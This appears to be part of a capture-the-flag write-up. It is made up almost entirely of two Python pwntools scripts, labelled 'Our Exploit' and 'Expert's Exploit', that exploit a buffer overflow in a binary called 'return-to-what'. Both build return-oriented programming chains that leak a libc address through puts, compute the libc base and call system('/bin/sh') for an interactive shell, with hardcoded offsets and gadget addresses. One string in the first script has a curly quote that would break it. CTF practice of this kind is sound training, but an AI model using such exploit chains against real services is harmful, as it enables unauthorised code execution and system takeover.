Our Exploit

```
#!/usr/bin/python3
# ================================================
# ROP Exploit by Saket U.
# ================================================

from pwn import *
from pprint import pprint

offset = 56
elf = ELF("../publish/return-to-what")
context.arch = "amd64"
p = remote("127.0.0.1", 1337)

rop =ROP(elf)
rop.call(elf.symbols["puts"], [elf.got['puts']])
rop.call(elf.symbols["vuln"])

print(p.recvuntil("\n"))
print(p.recvuntil("\n"))

payload=[b”A"*offset, rop.chain()]
payload = b"".join(payload)
p.sendline(payload)

puts=u64(p.recvuntil("\n").rstrip().ljust(8, b"\x00"))
log.info(f"puts at {hex(puts)}")

# Load mirror library
libc=ELF("libc6_2.27-3ubuntu1_amd64.so")
libc.address = puts - libc.symbols["puts"]

log.info(f"Libc base is at {hex(libc.address)}")
rop = ROP(libc)
rop.call("puts",[next(libc.search(b"/bin/sh\x00"))])
rop.call("system",[next(libc.search(b"/bin/sh\x00"))])
rop.call("exit")

finalpayload=[b"A"*offset, rop.chain()]
finalpayload = b"".join(finalpayload)
p.sendline(finalpayload)
p.interactive()
```

Expert’s Exploit

```
#!/usr/bin/env python3
from pwn import *
elf = ELF("../publish/return-to-what")
p = remote("127.0.0.1", 1337)
main = elf.sym['main']
puts = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
payload = b"A"*56 + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(main)
p.recv()
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - 0x0809c0
system = libc_base + 0x04f440
bin_sh = libc_base + 0x1b3e9a
payload = b"A"*56 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.recv()
p.sendline(payload)
p.interactive()
```